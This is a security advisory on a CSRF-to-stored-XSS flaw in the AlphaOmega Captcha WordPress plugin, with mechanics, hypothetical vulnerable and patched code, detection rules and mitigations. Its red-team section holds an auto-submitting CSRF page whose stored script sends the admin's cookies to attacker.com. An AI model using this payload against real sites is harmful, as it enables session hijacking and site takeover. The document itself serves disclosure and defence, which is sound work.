CVE-2025-30584

Executive Summary

CVE-2025-30584 is a Cross-Site Request Forgery (CSRF) vulnerability in the AlphaOmega Captcha & Anti-Spam Filter WordPress plugin, version 3.3 and below. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vector is chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution in the WordPress admin panel. The vulnerability is unpatched as of the latest advisory, with no official fix available from the vendor (alphaomegaplugins). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks against WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not open-source on GitHub, and no OSV patch data exists. Users must rely on vendor updates or manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a crafted link)
• Scope: Changed (CSRF leads to XSS, affecting other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. The CSRF-to-XSS chain allows persistent script execution in the admin context, potentially leading to session hijacking, privilege escalation, or site defacement.

Deep Dive & Mechanics

The vulnerability resides in the AlphaOmega Captcha & Anti-Spam Filter plugin, which handles form submissions and admin settings. The plugin fails to implement CSRF tokens on its admin-facing actions (e.g., saving settings, updating captcha keys). An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the WordPress admin-ajax.php or options.php endpoint.

The CSRF request can modify plugin settings to inject malicious JavaScript into the captcha output or admin panel. Since the plugin stores these settings in the WordPress database without proper sanitization, the injected script becomes Stored XSS, executing whenever an admin views the plugin settings page or a user interacts with the captcha.

Attack Flow:

1. Attacker crafts a CSRF payload (e.g., a hidden form or image tag) targeting the plugin's settings endpoint.
2. Admin, while logged into WordPress, visits the attacker's page.
3. The forged request updates the plugin's "captcha text" or "custom CSS" field with a JavaScript payload (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database and executed on subsequent page loads.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the plugin's settings handler. A typical vulnerable pattern in WordPress plugins:

Vulnerable Code (hypothetical):

// In alphaomega-captcha-anti-spam/admin/class-admin.php
function save_settings() {
    if ( isset($_POST['captcha_text']) ) {
        update_option('aoc_captcha_text', $_POST['captcha_text']); // No nonce check, no sanitization
    }
}

Patched Code (hypothetical):

function save_settings() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'aoc_save_settings') ) {
        return;
    }
    if ( isset($_POST['captcha_text']) ) {
        update_option('aoc_captcha_text', sanitize_text_field($_POST['captcha_text'])); // Nonce + sanitization
    }
}

The patch would require adding a CSRF nonce check and output escaping (e.g., esc_html()) when rendering the stored value.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with AlphaOmega Captcha & Anti-Spam Filter <= 3.3 installed and activated.
• An authenticated admin user (target).

Exploit Steps:

1. Craft a CSRF HTML page that sends a POST request to the plugin's settings endpoint.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Lure the admin to visit the page.

Example CSRF Payload:

<html>
<body>
<form action="http://target.com/wp-admin/options-general.php?page=alphaomega-captcha" method="POST">
  <input type="hidden" name="captcha_text" value="<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Stored XSS Execution: Once the admin submits the form, the script executes in the admin panel, exfiltrating cookies or performing actions on behalf of the admin.

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to options-general.php with parameters like captcha_text or aoc_*.
• Look for outbound connections from the WordPress admin panel to unknown domains.
• Check for unexpected changes in the wp_options table, specifically aoc_captcha_text.

Hunting:

• Search logs for POST /wp-admin/options-general.php with page=alphaomega-captcha and non-standard captcha_text values.
• Use WAF rules to block requests containing <script> tags in POST parameters.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/options-general.php?page=alphaomega-captcha with suspicious parameters.
• File: Modified wp_options table entries for aoc_captcha_text containing JavaScript.
• Log: Admin access logs showing unusual POST requests to plugin settings.
• Behavior: Unexpected admin actions (e.g., plugin deactivation, user creation) without corresponding UI interaction.

Detection Engineering

YARA Rule

rule Detect_AlphaOmega_CSRF_XSS {
    meta:
        description = "Detects CSRF payloads targeting AlphaOmega Captcha plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30584"
    strings:
        $csrf_form = "options-general.php?page=alphaomega-captcha" ascii wide nocase
        $xss_payload = /<script[^>]*>.*<\/script>/ ascii wide
    condition:
        $csrf_form and $xss_payload
}

Sigma Rule

title: CSRF to Stored XSS in AlphaOmega Captcha Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting AlphaOmega Captcha settings
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'options-general.php'
        cs-uri-query|contains: 'page=alphaomega-captcha'
        cs-uri-query|contains: 'captcha_text'
    condition: selection
falsepositives:
    - Legitimate admin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-30584 - CSRF to Stored XSS in AlphaOmega Captcha";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"options-general.php"; http_uri;
    content:"page=alphaomega-captcha"; http_uri;
    content:"captcha_text"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to options-general.php with page=alphaomega-captcha and suspicious parameters.
3. Restrict admin access to trusted IPs only.

Long-term Fix:

• The vendor must release a patched version (>= 3.4) that includes CSRF nonce checks and output sanitization.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Add a custom function to the theme's functions.php to enforce nonce checks:

add_action('admin_init', function() {
    if (isset($_POST['captcha_text']) && !wp_verify_nonce($_POST['_wpnonce'], 'aoc_save_settings')) {
        wp_die('CSRF detected');
    }
});

Valters IT
Securing Digital Frontiers